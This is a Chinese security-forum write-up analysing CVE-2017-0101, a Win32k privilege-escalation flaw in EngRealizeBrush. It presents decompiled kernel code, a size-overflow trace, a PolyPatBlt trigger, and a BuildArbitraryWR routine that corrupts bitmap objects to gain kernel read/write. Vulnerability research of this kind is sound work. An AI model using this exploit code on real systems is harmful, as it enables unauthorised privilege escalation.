CVE-2017-0101-Win32k提权分析笔记
本文为看雪论坛精华文章
看雪论坛作者ID:C0D1
>>>> 粗略分析理解漏洞过程
粗略分析理解漏洞过程
signed int __stdcall EngRealizeBrush(struct _BRUSHOBJ *a1, struct _SURFOBJ *a2, struct _SURFOBJ *a3, struct _SURFOBJ *a4, struct _XLATEOBJ *a5, unsigned int a6)
{
struct SURFACE *v6; // ebx@1
struct SURFACE *v7; // eax@1
signed int v8; // edi@1
int v9; // eax@1
_WORD *v10; // ebx@1
signed int v11; // ecx@9
unsigned int v12; // ebx@31
LONG v13; // ecx@32
LONG v14; // edx@32
signed int v15; // eax@32
int v16; // esi@38
bool v18; // zf@44
struct _BRUSHOBJ *v19; // ebx@44
int v20; // eax@44
LONG v21; // eax@44
LONG v22; // ecx@46
struct _SURFOBJ *v23; // eax@46
int v24; // ecx@48
int v25; // eax@55
bool v26; // cf@55
struct SURFACE *v27; // eax@59
int v28; // ecx@63
struct _BRUSHOBJ *v29; // edi@63
struct _SURFOBJ *v30; // edx@66
void *v31; // esi@71
struct _RECTL *v32; // ecx@73
struct _SURFOBJ *v33; // ebx@82
struct _SURFOBJ *v34; // eax@83
LONG v35; // ecx@90
LONG v36; // ebx@90
void *v37; // ST14_4@90
LONG v38; // esi@92
struct _SURFOBJ *v39; // eax@95
LONG v40; // eax@97
signed int v41; // [sp-4h] [bp-A4h]@10
struct _RECTL v42; // [sp+Ch] [bp-94h]@55
struct _POINTL v43; // [sp+1Ch] [bp-84h]@55
struct _SURFOBJ *v44; // [sp+24h] [bp-7Ch]@46
LONG v45; // [sp+28h] [bp-78h]@46
LONG v46; // [sp+2Ch] [bp-74h]@46
int v47; // [sp+34h] [bp-6Ch]@46
int v48; // [sp+38h] [bp-68h]@46
unsigned __int32 v49; // [sp+3Ch] [bp-64h]@31
int v50; // [sp+40h] [bp-60h]@36
int v51; // [sp+44h] [bp-5Ch]@48
int v52; // [sp+48h] [bp-58h]@48
int v53; // [sp+4Ch] [bp-54h]@38
LONG v54; // [sp+50h] [bp-50h]@32
LONG v55; // [sp+54h] [bp-4Ch]@32
int v56; // [sp+58h] [bp-48h]@36
unsigned __int32 v57; // [sp+5Ch] [bp-44h]@59
struct SURFACE *v58; // [sp+60h] [bp-40h]@1
int v59; // [sp+64h] [bp-3Ch]@55
unsigned int v60; // [sp+68h] [bp-38h]@31
struct SURFACE *v61; // [sp+6Ch] [bp-34h]@1
int v62; // [sp+70h] [bp-30h]@1
struct _SURFOBJ *v63; // [sp+74h] [bp-2Ch]@46
char v64; // [sp+78h] [bp-28h]@46
struct SURFACE *v65; // [sp+7Ch] [bp-24h]@1
unsigned int v66; // [sp+80h] [bp-20h]@39
LONG v67; // [sp+84h] [bp-1Ch]@1
LONG v68; // [sp+88h] [bp-18h]@1
struct _RECTL v69; // [sp+8Ch] [bp-14h]@48
char v70; // [sp+9Ch] [bp-4h]@1
v58 = SURFOBJ_TO_SURFACE(a2); // v11 v8 参数 决定源头
v6 = SURFOBJ_TO_SURFACE(a3); // v68参数 源头对象
v65 = v6;
v7 = SURFOBJ_TO_SURFACE(a4); // a13,a14参数 源头对象
v8 = *((_DWORD *)v6 + 8);
a4 = 0;
v61 = v7;
a3 = (struct _SURFOBJ *)*((_DWORD *)v58 + 0xF);// iBitmapFormat OBJ+0x2C
v68 = *((_DWORD *)v6 + 9);
v9 = *((_DWORD *)v58 + 7);
v67 = v8;
v10 = 0;
v62 = v9;
HTSEMOBJ::HTSEMOBJ((HTSEMOBJ *)&v70, 1);
if ( PDEVOBJ::pDevHTInfo((PDEVOBJ *)&v62) || PDEVOBJ::bEnableHalftone((PDEVOBJ *)&v62, 0) )
v10 = PDEVOBJ::pDevHTInfo((PDEVOBJ *)&v62);
if ( a3 != (struct _SURFOBJ *)1 )
{
if ( a3 == (struct _SURFOBJ *)2 )
{
v11 = 4;
if ( v8 == 8 )
v8 = 8;
else
v8 = (v8 + 15) & 0xFFFFFFF8;
goto LABEL_30;
}
if ( a3 == (struct _SURFOBJ *)3 )
{
v11 = 8;
}
else
{
if ( a3 == (struct _SURFOBJ *)4 )
{
v41 = 16;
}
else
{
if ( (struct _SURFOBJ *)((char *)a3 - 4) != (struct _SURFOBJ *)1 )
{
v11 = 32;
goto LABEL_30; // ************
}
v41 = 24;
}
v11 = v41;
}
v8 = (v8 + 7) & 0xFFFFFFFC;
goto LABEL_30;
}
v11 = 1;
if ( v8 == 0x20 || v8 == 0x10 || v8 == 8 )
{
v8 = 0x20;
a2 = (struct _SURFOBJ *)0x20;
if ( !v10 )
goto LABEL_31;
if ( v10[2] == 10 )
{
v8 = 0xA0;
}
else if ( v10[2] == 12 )
{
v8 = 0x60;
}
else
{
if ( v10[2] != 14 )
goto LABEL_31;
v8 = 0xE0;
}
a4 = (struct _SURFOBJ *)1;
}
else
{
v8 = (v8 + 63) & 0xFFFFFFE0;
}
LABEL_30:
a2 = (struct _SURFOBJ *)v8;
LABEL_31:
v60 = (unsigned int)(v11 * v8) >> 3;
v49 = v60 * v68;
v12 = v60 * v68 + 0x44;
if ( v61 )
{
v13 = *((_DWORD *)v61 + 8); // v13 A4->_SURFOBJ->sizlBitmap
v14 = *((_DWORD *)v61 + 9); // v14 A4->_SURFOBJ->sizlBitmap
v15 = 0x20;
v54 = v13;
v55 = v14;
if ( v13 != 0x20 && v13 != 0x10 && v13 != 8 )
v15 = (v13 + 0x3F) & 0xFFFFFFE0;
v56 = v15;
v50 = v15 >> 3;
v12 += (v15 >> 3) * v14;
}
if ( gpCachedEngbrush )
{
v16 = InterlockedExchange(&gpCachedEngbrush, 0);
v53 = v16;
if ( v16 )
{
v66 = v12 + 64;
if ( v12 + 64 > v12 && *(_DWORD *)(v16 + 4) >= v12 + 64 )
goto LABEL_44;
ExFreePoolWithTag((PVOID)v16, 0);
}
}
v66 = v12 + 0x40;
v16 = (int)PALLOCMEM(v12 + 0x40, 'rbeG');
v53 = v16;
if ( !v16 )
{
LABEL_43:
HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
return 0;
}
LABEL_44:
v18 = a4 == 0;
v19 = a1;
v20 = v66;
*((_DWORD *)a1 + 5) = v16;
*(_DWORD *)(v16 + 4) = v20; // 申请的结构体大小
*(_DWORD *)(v16 + 0x1C) = v60; // ((32 * bitmapw) >> 3)
*(_DWORD *)(v16 + 0x10) = v8; // bitmapw
v21 = v8;
if ( v18 )
v21 = v67;
v22 = v68;
*(_DWORD *)(v16 + 0x14) = v21;
*(_DWORD *)(v16 + 0x18) = v22;
*(_DWORD *)(v16 + 0x20) = v16 + 0x40;
v23 = a3;
*(_DWORD *)(v16 + 0x3C) = a3; // A3->_SURFOBJ->iBitmapFormat
v46 = v22;
v44 = v23;
v47 = 0;
v48 = 1;
v63 = 0;
v64 = 0;
v45 = v8;
SURFMEM::bCreateDIB((SURFMEM *)&v63, (struct _DEVBITMAPINFO *)&v44, *(PVOID *)(v16 + 0x20), 0, 0, 0, 0, 0, 1);
if ( !v63 )
goto LABEL_47;
v24 = *((_DWORD *)v19 + 9);
v51 = 0;
v52 = 0;
v69.left = 0;
v69.top = 0;
v69.right = v67;
v69.bottom = v68;
a1 = (struct _BRUSHOBJ *)(*((_DWORD *)v19 + 8) == v24);
HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
if ( a3 == (struct _SURFOBJ *)1 )
{
if ( a6 < 0xC )
goto LABEL_81;
if ( !a1 )
goto LABEL_55;
}
if ( a3 == (struct _SURFOBJ *)2 && *((_BYTE *)v19 + 48) & 5 && (!a1 || !(*((_DWORD *)v19 + 19) & 0x20000)) )
{
LABEL_55:
v25 = *((_DWORD *)v58 + 7);
v42 = v69;
v26 = a6 < 6;
v60 = 0;
v59 = 0;
a1 = 0;
v43.x = 0;
v43.y = 0;
*((_DWORD *)v63 + 7) = v25;
v66 = 0;
if ( (v26 || *((_DWORD *)v19 + 19) & 0x20000)
&& *((_BYTE *)v19 + 48) & 5
&& (!v26 ? (v57 = *((_DWORD *)v19 + 8), v27 = (struct SURFACE *)*((_DWORD *)v19 + 9)) : (v57 = *((_DWORD *)v19 + 9),
v27 = (struct SURFACE *)*((_DWORD *)v19 + 3)),
(v58 = v27, PALMEMOBJ::bCreatePalette((PALMEMOBJ *)&v59, 1u, 2u, &v57, 0, 0, 0, 0x400u))
&& EXLATEOBJ::bInitXlateObj(
(int *)&a1,
*((_DWORD *)v19 + 11),
*((_DWORD *)v19 + 12),
v59,
*(_DWORD *)(*((_DWORD *)v19 + 13) + 80),
*((_DWORD *)v19 + 15),
*((_DWORD *)v19 + 15),
*((_DWORD *)v19 + 8),
*((_DWORD *)v19 + 9),
0xFFFFFF,
0)) )
{
v28 = *((_DWORD *)v65 + 20);
v29 = a1;
*((_DWORD *)v65 + 20) = 0;
v66 = v28;
}
else
{
v29 = a5;
}
if ( a3 == (struct _SURFOBJ *)1 && (v30 = 0, a4) )
{
v69.right = (LONG)a2;
if ( v63 )
v30 = (struct _SURFOBJ *)((char *)v63 + 16);
EngHTBlt(v30, (struct SURFACE *)((char *)v65 + 16), 0, 0, (int)v29, 0, (int)&v43, (int)&v69, (int)&v42, 0, 64, 0);
}
else if ( (struct _SURFOBJ *)v69.left != a2 )
{
v31 = (char *)v65 + 16;
do
{
if ( v63 )
v32 = (struct _RECTL *)((char *)v63 + 16);
else
v32 = 0;
EngStretchBlt(v32, v31, 0, 0, v29, 0, &v43, &v69, &v42, 0, 4u);
v69.left = v69.right;
v69.right += v67;
if ( v69.right > (signed int)a2 )
v69.right = (LONG)a2;
}
while ( (struct _SURFOBJ *)v69.left != a2 );
}
if ( v66 )
*((_DWORD *)v65 + 20) = v66;
EXLATEOBJ::vAltUnlock((EXLATEOBJ *)&a1);
PALMEMOBJ::~PALMEMOBJ((PALMEMOBJ *)&v59);
v16 = v53;
goto LABEL_88;
}
LABEL_81:
if ( v69.left != v8 )
{
v33 = (struct SURFACE *)((char *)v65 + 16);
do
{
v34 = v63;
if ( v63 )
v34 = (struct _SURFOBJ *)((char *)v63 + 16);
EngCopyBits(v34, v33, 0, (int)a5, (int)&v69, (int)&v51);
v69.left = v69.right;
v69.right += v67;
if ( v69.right > v8 )
v69.right = v8;
}
while ( v69.left != v8 );
}
LABEL_88:
HTSEMOBJ::vAcquire((HTSEMOBJ *)&v70);
if ( v61 )
{
v35 = v55;
v36 = v56;
*(_DWORD *)(v16 + 52) = v50;
*(_DWORD *)(v16 + 40) = v54;
*(_DWORD *)(v16 + 48) = v16 + v49 + 64;
*(_DWORD *)(v16 + 44) = v35;
*(_DWORD *)(v16 + 36) = v36;
v44 = (struct _SURFOBJ *)1;
v46 = v35;
v48 = 1;
v45 = v36;
v47 = 0;
v37 = *(void **)(v16 + 48);
v67 = 0;
LOBYTE(v68) = 0;
SURFMEM::bCreateDIB((SURFMEM *)&v67, (struct _DEVBITMAPINFO *)&v44, v37, 0, 0, 0, 0, 0, 1);
if ( !v67 )
{
SURFMEM::~SURFMEM((SURFMEM *)&v67);
LABEL_47:
SURFMEM::~SURFMEM((SURFMEM *)&v63);
goto LABEL_43;
}
v38 = v54;
v51 = 0;
v52 = 0;
v69.left = 0;
v69.top = 0;
v69.right = v54;
v69.bottom = v55;
HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
if ( v69.left != v36 )
{
a6 = (unsigned int)v61 + 16;
do
{
if ( v67 )
v39 = (struct _SURFOBJ *)(v67 + 16);
else
v39 = 0;
EngCopyBits(v39, (struct _SURFOBJ *)a6, 0, 0, (int)&v69, (int)&v51);
v40 = v69.right;
v69.right += v38;
v69.left = v40;
if ( v69.right > v36 )
v69.right = v36;
}
while ( v69.left != v36 );
}
HTSEMOBJ::vAcquire((HTSEMOBJ *)&v70);
SURFMEM::~SURFMEM((SURFMEM *)&v67);
}
else
{
*(_DWORD *)(v16 + 48) = 0;
}
SURFMEM::~SURFMEM((SURFMEM *)&v63);
HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
return 1;
}
>>>> 静态分析漏洞代码关键过程
静态分析漏洞代码关键过程
首先其影响来自v15,v14:
v12 += (v15 >> 3) * v14;
v15影响来自v13或v15为定值0x20:
v15 = (v13 + 0x3F) & 0xFFFFFFE0
v13影响来自v61:
v13 = *((_DWORD *)v61 + 8);
V14影响来自v61:
v14 = *((_DWORD *)v61 + 9);
(v15 >> 3) * v14;
v15=(v13 + 0x3F) & 0xFFFFFFE0
V13=*((_DWORD *)v61 + 8);
v14=*((_DWORD *)v61 + 9);
V14=*((_DWORD *)v61 + 9);
(v15 >> 3) * v14;
=((v13 + 0x3F) & 0xFFFFFFE0或 0x20)>>3*v14
=(((v13 + 0x3F) & 0xFFFFFFE0) 或 0x20)>>3*v14
=((((*((_DWORD *)v61 + 8)) + 0x3F) & 0xFFFFFFE0) 或 0x20)>>3*(*((_DWORD *)v61 + 9))
=(((a4对象的像素宽+ 0x3F) & 0xFFFFFFE0)或 0x20)>>3* a4对象的像素高
v12 = v60 * v68 + 0x44;
v60 = (unsigned int)(v11 * v8) >> 3;
v11取决于局部变量a3(switch)//注意此a3不是函数传参对象a3
a3 = (struct _SURFOBJ *)*((_DWORD *)v58 + 0xF)
v58 = SURFOBJ_TO_SURFACE(a2)
v8 = *((_DWORD *)v6 + 8);
v6 = SURFOBJ_TO_SURFACE(a3)
v68 = *((_DWORD *)v6 + 9);
v6 = SURFOBJ_TO_SURFACE(a3);
v12 = v60 * v68 + 0x44;
v12 = v60 * (*((_DWORD *)v6 + 9)) + 0x44;
v12 = v60 * (*((_DWORD *)SURFOBJ_TO_SURFACE(a3) + 9)) + 0x44;
v12 = v60 * (a3对象的像素高) + 0x44;
v12 = ((v11 * v8) >> 3) * (a3对象的像素高) + 0x44;
v12 = ((v11 * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;
v12+部分:
(((a4对象的像素宽+ 0x3F) & 0xFFFFFFE0)或 0x20)>>3* a4对象的像素高
v12 初始部分:
v12 = ((取决于 a2.iBitmapFormat * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;
>>>> 动态分析漏洞代码关键过程
动态分析漏洞代码关键过程
typedef BOOL (WINAPI *PFN_PolyPatBlt)(
HDC hdc,
DWORD rop,
PVOID pPoly,
DWORD Count,
DWORD Mode
);
PFN_PolyPatBlt PfnPolyPatBlt = NULL;
typedef struct _PATRECT {
INT nXLeft;
INT nYLeft;
INT nWidth;
INT nHeight;
HBRUSH hBrush;
} PATRECT, *PPATRECT;
void Test()
{
HDC hdc = GetDC(NULL);
HBITMAP hbmp = CreateBitmap(0x12, 0x123, 1, 1, NULL);
HBRUSH hbru = CreatePatternBrush(hbmp);
PfnPolyPatBlt = (PFN_PolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
PATRECT ppb[1] = { 0 };
ppb[0].nXLeft = 0x100;
ppb[0].nYLeft = 0x100;
ppb[0].nWidth = 0x100;
ppb[0].nHeight = 0x100;
ppb[0].hBrush = hbru;
PfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);
}
v12 = ((取决于 a2.iBitmapFormat * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44
=((0x20*0x12)>>3)*0x123+0x44
=0x521C(+0x40=0x521C)
void BuildArbitraryWR()
{
byte *p = malloc(0x1000);
for (unsigned int i = 0; i < Bitmap_Count; i++)
{
memset(p, 0, 0x1000);
long iLeng = GetBitmapBits(g_aryhBitmapxD88[i], 0x1000, p);
printf("Read Len %08X\r\n", iLeng);
if (iLeng < 0xCA0)
{
continue;
}
g_fixPoolhead0 = *(DWORD*)(p + 0xc2c+ 0x260 + 0x18);
g_fixPoolhead1 = *(DWORD*)(p + 0xc2c + 0x260 + 0x18 + 4);
g_fixBaseObjHanlde = g_aryhBitmapxD88[i];
g_nextBitmapHanlde = *(DWORD*)(p + 0xc2c + 8);
printf("%08X %08X %08X %08x\r\n", g_fixPoolhead0, g_fixPoolhead1, g_fixBaseObjHanlde, g_nextBitmapHanlde);
PVOID pGdiSharedHandleTable = GetGdiSharedHandleTable32();
PVOID wpv = getpvscan0(pGdiSharedHandleTable, g_fixBaseObjHanlde);
g_fixPoolHeadAddr = (DWORD)wpv - 0x30 - 0x8;
g_fixBaseOBJhandleAddr = (DWORD)wpv - 0x30;
*(PDWORD)(p + 0xc2c + 0x8 +0x10 +0x20) = (DWORD)wpv;
SetBitmapBits(g_aryhBitmapxD88[i], 0x1000, p);
PrintBitmapBits(p, iLeng);
break;
}
free(p);
p = NULL;
}
看雪ID:C0D1
https://bbs.pediy.com/user-768086.htm
推荐文章++++
* 某盗链App逆向
好书推荐